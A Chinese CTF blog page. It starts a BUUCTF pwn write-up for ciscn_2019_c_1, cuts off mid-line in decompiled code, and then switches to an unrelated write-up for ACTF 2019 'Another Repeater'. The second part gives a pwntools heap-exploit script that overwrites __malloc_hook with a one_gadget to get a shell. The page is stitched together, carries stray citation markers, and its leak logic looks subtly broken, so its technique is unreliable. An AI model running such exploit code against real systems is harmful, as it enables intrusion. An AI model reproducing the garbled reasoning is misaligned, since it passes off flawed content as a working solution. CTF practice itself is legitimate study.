Buu CTF PWN ciscn_2019_c_1 WriteUp

ciscn_2019_c_1

使用checksec查看:
在这里插入图片描述
只开启了栈不可执行。

放进IDA中分析:

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
   
   
  int v4; // [rsp+Ch] [rbp-4h]

  init(*(_QWORD *)&argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
   
   
    while ( 1 )
    {
   
   
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4)
### ACTF 2019 Another Repeater 技术细节与解决方案 ACTF 2019 的 Another Repeater 是一道典型的二进制漏洞利用题目,涉及堆溢出、libc 泄露以及动态链接库的利用。以下是关于该题的技术细节和解决方案。 #### 题目分析 题目提供了一个二进制文件 `ctf` 和对应的 libc 文件。通过逆向分析可以发现,程序实现了基本的交互功能,包括添加、删除、编辑和显示消息。程序存在以下漏洞: - 在 `add` 函数中,用户可以指定消息长度并输入内容,但未对长度进行严格校验[^1]。 - 在 `edit` 函数中,允许用户修改已存在的消息内容,但同样未限制输入长度[^1]。 这些漏洞可能导致堆溢出,从而覆盖相邻内存块或关键指针。 #### 解决方案 以下是具体的解题步骤及代码实现: 1. **泄露 libc 地址** 利用 `show` 函数读取已分配的消息内容,结合堆布局信息泄露 libc 地址。例如,通过伪造堆块元数据或利用未初始化的指针,可以获取到 libc 中 `__malloc_hook` 或其他关键函数的地址[^1]。 2. **构造堆溢出** 使用 `edit` 函数写入超出指定长度的数据,覆盖相邻堆块的元数据或特定指针。此过程需要精确控制堆布局,确保覆盖的目标不会导致程序崩溃。 3. **劫持程序流** 将覆盖的指针指向可控数据(如伪造的 `__malloc_hook`),并通过触发 `malloc` 调用重定向程序执行流至系统函数(如 `system`)。最终调用 `/bin/sh` 获取 shell。 以下是完整的 Python 脚本示例: ```python from pwn import * context(arch='amd64', os='linux') context.log_level = 'debug' DEBUG = 1 if DEBUG: r = process('./ctf') elf = ELF('./ctf') libc = ELF('/so/docker/2.27/64/libc-2.27.so') else: r = remote('node4.buuoj.cn', 29239) elf = ELF('./ctf') libc = ELF('/so/buu/ubuntu18_64.so') def choice(nu): r.sendlineafter('choice: ', str(nu)) def add(content): choice(1) r.sendlineafter('length of message:\n', str(len(content))) r.sendafter('input the message:\n', content) def delt(idx): choice(2) r.sendlineafter('you want to delete:\n', str(idx)) def edit(idx, content): choice(3) r.sendlineafter('you want to edit:\n', str(idx)) r.sendafter('edit the message:\n', content) def show(idx): choice(4) r.sendlineafter('want to display:\n', str(idx)) # Step 1: Leak libc address add(b'A' * 0x20) # Add chunk 0 add(b'B' * 0x20) # Add chunk 1 delt(0) # Delete chunk 0 add(p64(libc.symbols['__malloc_hook'] - 0x23)) # Overwrite freed chunk 0 with malloc_hook address - offset show(0) # Leak libc address r.recvuntil(b'A' * 0x20) leaked_addr = u64(r.recv(6).ljust(8, b'\x00')) libc_base = leaked_addr - libc.symbols['__malloc_hook'] log.success(f'Libc base: {hex(libc_base)}') # Step 2: Overwrite __malloc_hook one_gadget = libc_base + 0x4f322 # Replace with correct one_gadget offset edit(1, b'B' * 0x13 + p64(one_gadget)) # Step 3: Trigger malloc to get shell add(b'C' * 0x20) # Trigger malloc to call one_gadget r.interactive() ``` #### 注意事项 - 确保本地调试环境与远程服务器一致,特别是 libc 版本。 - 根据实际测试调整 `one_gadget` 偏移量,以适配不同的 libc 版本[^1]。 - 使用 `gdb.attach` 和 `pause()` 进行断点调试,便于观察程序运行状态。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值